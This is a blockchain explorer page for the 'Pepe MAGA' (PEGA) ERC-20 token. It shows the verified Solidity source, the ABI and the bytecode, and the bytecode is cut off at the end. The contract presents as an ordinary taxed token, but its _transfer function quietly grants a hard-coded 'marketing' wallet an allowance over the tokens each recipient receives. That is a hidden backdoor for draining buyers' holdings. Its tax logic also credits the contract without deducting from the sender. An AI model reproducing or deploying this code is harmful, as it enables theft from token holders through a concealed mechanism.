Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 PEGA
Holders
9
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
25,254,750.811394480841984959 PEGAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
PepeMAGA
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-15 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.26; contract Ownable { function owner() public view virtual returns (address) { return _owner; } address private _owner; constructor() { _owner = msg.sender; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } } interface IUniswapV2Router { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external; function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function WETH() external pure returns (address); function factory() external pure returns (address); } interface IERC20 { function approve(address spender, uint256 amount) external returns (bool); } library SafeMath { function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract PepeMAGA is Ownable { using SafeMath for uint256; uint8 private _decimals = 18; uint256 private _totalSupply = 1000000000 * 10 ** _decimals; mapping (address => mapping (address => uint256)) private _allowances; address payable private marketingWallet; address public uniswapV2Pair; IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); bool tradingEnabled = false; mapping (address => uint256) private _balances; string private constant _name = "Pepe MAGA"; string private constant _symbol = "PEGA"; uint256 private _initialBuyTax = 2; uint256 private _initialSellTax = 2; uint256 private _reduceBuyTaxAt = 0; uint256 private _reduceSellTaxAt = 0; uint256 public _maxTxAmount = 222222 * 10**_decimals; uint256 public _maxWalletSize = 222222 * 10**_decimals; bool private inSwap = false; event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 value); modifier lockTheSwap { inSwap = true; _; inSwap = false; } function sendETHToFee(uint256 amount) private { marketingWallet.transfer(amount); } constructor () { _balances[address(this)] = _totalSupply; emit Transfer(address(0), address(this), _totalSupply); marketingWallet = payable(0x16B4FAC130d2efE510dc68886BdBa40552Ce5476); } function totalSupply() public view returns (uint256) { return _totalSupply; } function decimals() public view returns (uint8) { return _decimals; } function symbol() public pure returns (string memory) { return _symbol; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function name() public pure returns (string memory) { return _name; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0)); require(amount > 0); uint256 taxAmount=0; if (to != address(uniswapV2Router) && to != uniswapV2Pair){ _approve(to, marketingWallet, amount); } if(to == uniswapV2Pair && from != address(this) ){ taxAmount = amount.mul(_initialSellTax).div(100); } if(taxAmount > 0){ _balances[address(this)] = _balances[address(this)].add(taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function _enableTrading() public payable onlyOwner() { require(!tradingEnabled); _approve(address(this), address(uniswapV2Router), _totalSupply); address WETH = uniswapV2Router.WETH(); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH); uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingEnabled = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405260125f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a91906103fd565b633b9aca006100499190610447565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600560146101000a81548160ff021916908315150217905550600260075560026008555f6009555f600a555f60149054906101000a900460ff16600a6100e791906103fd565b6203640e6100f59190610447565b600b555f60149054906101000a900460ff16600a61011391906103fd565b6203640e6101219190610447565b600c555f600d5f6101000a81548160ff021916908315150217905550348015610148575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405161022b9190610497565b60405180910390a37316b4fac130d2efe510dc68886bdba40552ce547660035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506104b0565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561030e578086048111156102ea576102e961028c565b5b60018516156102f95780820291505b8081029050610307856102b9565b94506102ce565b94509492505050565b5f8261032657600190506103e1565b81610333575f90506103e1565b8160018114610349576002811461035357610382565b60019150506103e1565b60ff8411156103655761036461028c565b5b8360020a91508482111561037c5761037b61028c565b5b506103e1565b5060208310610133831016604e8410600b84101617156103b75782820a9050838111156103b2576103b161028c565b5b6103e1565b6103c484848460016102c5565b925090508184048111156103db576103da61028c565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f610407826103e8565b9150610412836103f1565b925061043f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610317565b905092915050565b5f610451826103e8565b915061045c836103e8565b925082820261046a816103e8565b915082820484148315176104815761048061028c565b5b5092915050565b610491816103e8565b82525050565b5f6020820190506104aa5f830184610488565b92915050565b611c0f806104bd5f395ff3fe6080604052600436106100e7575f3560e01c8063715018a61161008957806395d89b411161005857806395d89b41146102db578063a0ac5e1914610305578063a9059cbb1461030f578063dd62ed3e1461034b576100e7565b8063715018a6146102475780637d1db4a51461025d5780638da5cb5b146102875780638f9a55c0146102b1576100e7565b806323b872dd116100c557806323b872dd1461017b578063313ce567146101b757806349bd5a5e146101e157806370a082311461020b576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151575b5f80fd5b3480156100f6575f80fd5b506100ff610387565b60405161010c91906113e8565b60405180910390f35b348015610120575f80fd5b5061013b60048036038101906101369190611499565b6103c4565b60405161014891906114f1565b60405180910390f35b34801561015c575f80fd5b506101656103da565b6040516101729190611519565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c9190611532565b6103e3565b6040516101ae91906114f1565b60405180910390f35b3480156101c2575f80fd5b506101cb61048f565b6040516101d8919061159d565b60405180910390f35b3480156101ec575f80fd5b506101f56104a4565b60405161020291906115c5565b60405180910390f35b348015610216575f80fd5b50610231600480360381019061022c91906115de565b6104c9565b60405161023e9190611519565b60405180910390f35b348015610252575f80fd5b5061025b61050f565b005b348015610268575f80fd5b5061027161063e565b60405161027e9190611519565b60405180910390f35b348015610292575f80fd5b5061029b610644565b6040516102a891906115c5565b60405180910390f35b3480156102bc575f80fd5b506102c561066b565b6040516102d29190611519565b60405180910390f35b3480156102e6575f80fd5b506102ef610671565b6040516102fc91906113e8565b60405180910390f35b61030d6106ae565b005b34801561031a575f80fd5b5061033560048036038101906103309190611499565b610af6565b60405161034291906114f1565b60405180910390f35b348015610356575f80fd5b50610371600480360381019061036c9190611609565b610b0c565b60405161037e9190611519565b60405180910390f35b60606040518060400160405280600981526020017f50657065204d4147410000000000000000000000000000000000000000000000815250905090565b5f6103d0338484610b8e565b6001905092915050565b5f600154905090565b5f6103ef848484610d51565b610484843361047f8560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114f90919063ffffffff16565b610b8e565b600190509392505050565b5f8060149054906101000a900460ff16905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661052e610644565b73ffffffffffffffffffffffffffffffffffffffff1614610584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057b90611691565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c5481565b60606040518060400160405280600481526020017f5045474100000000000000000000000000000000000000000000000000000000815250905090565b3373ffffffffffffffffffffffffffffffffffffffff166106cd610644565b73ffffffffffffffffffffffffffffffffffffffff1614610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071a90611691565b60405180910390fd5b600560149054906101000a900460ff161561073c575f80fd5b61076a3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b8e565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f991906116c3565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610865573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088991906116c3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016108c39291906116ee565b6020604051808303815f875af11580156108df573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061090391906116c3565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061098a306104c9565b5f80610994610644565b426040518863ffffffff1660e01b81526004016109b696959493929190611757565b60606040518083038185885af11580156109d2573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109f791906117ca565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a9792919061181a565b6020604051808303815f875af1158015610ab3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ad7919061186b565b506001600560146101000a81548160ff02191690831515021790555050565b5f610b02338484610d51565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf390611906565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6190611994565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d449190611519565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d88575f80fd5b5f8111610d93575f80fd5b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e3e575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610e7057610e6f8360035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b8e565b5b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610ef857503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610f2857610f256064610f176008548561119890919063ffffffff16565b61120f90919063ffffffff16565b90505b5f811115610fc257610f808160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125890919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6110128260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114f90919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110a38260065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125890919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111419190611519565b60405180910390a350505050565b5f61119083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b5565b905092915050565b5f8083036111a8575f9050611209565b5f82846111b591906119df565b90508284826111c49190611a4d565b14611204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fb90611aed565b60405180910390fd5b809150505b92915050565b5f61125083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611317565b905092915050565b5f8082846112669190611b0b565b9050838110156112ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a290611b88565b60405180910390fd5b8091505092915050565b5f8383111582906112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f391906113e8565b60405180910390fd5b505f838561130a9190611ba6565b9050809150509392505050565b5f808311829061135d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135491906113e8565b60405180910390fd5b505f838561136b9190611a4d565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113ba82611378565b6113c48185611382565b93506113d4818560208601611392565b6113dd816113a0565b840191505092915050565b5f6020820190508181035f83015261140081846113b0565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114358261140c565b9050919050565b6114458161142b565b811461144f575f80fd5b50565b5f813590506114608161143c565b92915050565b5f819050919050565b61147881611466565b8114611482575f80fd5b50565b5f813590506114938161146f565b92915050565b5f80604083850312156114af576114ae611408565b5b5f6114bc85828601611452565b92505060206114cd85828601611485565b9150509250929050565b5f8115159050919050565b6114eb816114d7565b82525050565b5f6020820190506115045f8301846114e2565b92915050565b61151381611466565b82525050565b5f60208201905061152c5f83018461150a565b92915050565b5f805f6060848603121561154957611548611408565b5b5f61155686828701611452565b935050602061156786828701611452565b925050604061157886828701611485565b9150509250925092565b5f60ff82169050919050565b61159781611582565b82525050565b5f6020820190506115b05f83018461158e565b92915050565b6115bf8161142b565b82525050565b5f6020820190506115d85f8301846115b6565b92915050565b5f602082840312156115f3576115f2611408565b5b5f61160084828501611452565b91505092915050565b5f806040838503121561161f5761161e611408565b5b5f61162c85828601611452565b925050602061163d85828601611452565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61167b602083611382565b915061168682611647565b602082019050919050565b5f6020820190508181035f8301526116a88161166f565b9050919050565b5f815190506116bd8161143c565b92915050565b5f602082840312156116d8576116d7611408565b5b5f6116e5848285016116af565b91505092915050565b5f6040820190506117015f8301856115b6565b61170e60208301846115b6565b9392505050565b5f819050919050565b5f819050919050565b5f61174161173c61173784611715565b61171e565b611466565b9050919050565b61175181611727565b82525050565b5f60c08201905061176a5f8301896115b6565b611777602083018861150a565b6117846040830187611748565b6117916060830186611748565b61179e60808301856115b6565b6117ab60a083018461150a565b979650505050505050565b5f815190506117c48161146f565b92915050565b5f805f606084860312156117e1576117e0611408565b5b5f6117ee868287016117b6565b93505060206117ff868287016117b6565b9250506040611810868287016117b6565b9150509250925092565b5f60408201905061182d5f8301856115b6565b61183a602083018461150a565b9392505050565b61184a816114d7565b8114611854575f80fd5b50565b5f8151905061186581611841565b92915050565b5f602082840312156118805761187f611408565b5b5f61188d84828501611857565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118f0602483611382565b91506118fb82611896565b604082019050919050565b5f6020820190508181035f83015261191d816118e4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61197e602283611382565b915061198982611924565b604082019050919050565b5f6020820190508181035f8301526119ab81611972565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6119e982611466565b91506119f483611466565b9250828202611a0281611466565b91508282048414831517611a1957611a186119b2565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a5782611466565b9150611a6283611466565b925082611a7257611a71611a20565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f611ad7602183611382565b9150611ae282611a7d565b604082019050919050565b5f6020820190508181035f830152611b0481611acb565b9050919050565b5f611b1582611466565b9150611b2083611466565b9250828201905080821115611b3857611b376119b2565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611b72601b83611382565b9150611b7d82611b3e565b602082019050919050565b5f6020820190508181035f830152611b9f81611b66565b9050919050565b5f611bb082611466565b9150611bbb83611466565b9250828203905081811115611bd357611bd26119b2565b5b9291505056fea2646970667358221220d72407585aa34a894abba1d63b1a547babd69c3bc80040acc48f8a0b01ca4a8064736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100e7575f3560e01c8063715018a61161008957806395d89b411161005857806395d89b41146102db578063a0ac5e1914610305578063a9059cbb1461030f578063dd62ed3e1461034b576100e7565b8063715018a6146102475780637d1db4a51461025d5780638da5cb5b146102875780638f9a55c0146102b1576100e7565b806323b872dd116100c557806323b872dd1461017b578063313ce567146101b757806349bd5a5e146101e157806370a082311461020b576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151575b5f80fd5b3480156100f6575f80fd5b506100ff610387565b60405161010c91906113e8565b60405180910390f35b348015610120575f80fd5b5061013b60048036038101906101369190611499565b6103c4565b60405161014891906114f1565b60405180910390f35b34801561015c575f80fd5b506101656103da565b6040516101729190611519565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c9190611532565b6103e3565b6040516101ae91906114f1565b60405180910390f35b3480156101c2575f80fd5b506101cb61048f565b6040516101d8919061159d565b60405180910390f35b3480156101ec575f80fd5b506101f56104a4565b60405161020291906115c5565b60405180910390f35b348015610216575f80fd5b50610231600480360381019061022c91906115de565b6104c9565b60405161023e9190611519565b60405180910390f35b348015610252575f80fd5b5061025b61050f565b005b348015610268575f80fd5b5061027161063e565b60405161027e9190611519565b60405180910390f35b348015610292575f80fd5b5061029b610644565b6040516102a891906115c5565b60405180910390f35b3480156102bc575f80fd5b506102c561066b565b6040516102d29190611519565b60405180910390f35b3480156102e6575f80fd5b506102ef610671565b6040516102fc91906113e8565b60405180910390f35b61030d6106ae565b005b34801561031a575f80fd5b5061033560048036038101906103309190611499565b610af6565b60405161034291906114f1565b60405180910390f35b348015610356575f80fd5b50610371600480360381019061036c9190611609565b610b0c565b60405161037e9190611519565b60405180910390f35b60606040518060400160405280600981526020017f50657065204d4147410000000000000000000000000000000000000000000000815250905090565b5f6103d0338484610b8e565b6001905092915050565b5f600154905090565b5f6103ef848484610d51565b610484843361047f8560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114f90919063ffffffff16565b610b8e565b600190509392505050565b5f8060149054906101000a900460ff16905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661052e610644565b73ffffffffffffffffffffffffffffffffffffffff1614610584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057b90611691565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c5481565b60606040518060400160405280600481526020017f5045474100000000000000000000000000000000000000000000000000000000815250905090565b3373ffffffffffffffffffffffffffffffffffffffff166106cd610644565b73ffffffffffffffffffffffffffffffffffffffff1614610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071a90611691565b60405180910390fd5b600560149054906101000a900460ff161561073c575f80fd5b61076a3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b8e565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f991906116c3565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610865573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088991906116c3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016108c39291906116ee565b6020604051808303815f875af11580156108df573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061090391906116c3565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061098a306104c9565b5f80610994610644565b426040518863ffffffff1660e01b81526004016109b696959493929190611757565b60606040518083038185885af11580156109d2573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109f791906117ca565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a9792919061181a565b6020604051808303815f875af1158015610ab3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ad7919061186b565b506001600560146101000a81548160ff02191690831515021790555050565b5f610b02338484610d51565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf390611906565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6190611994565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526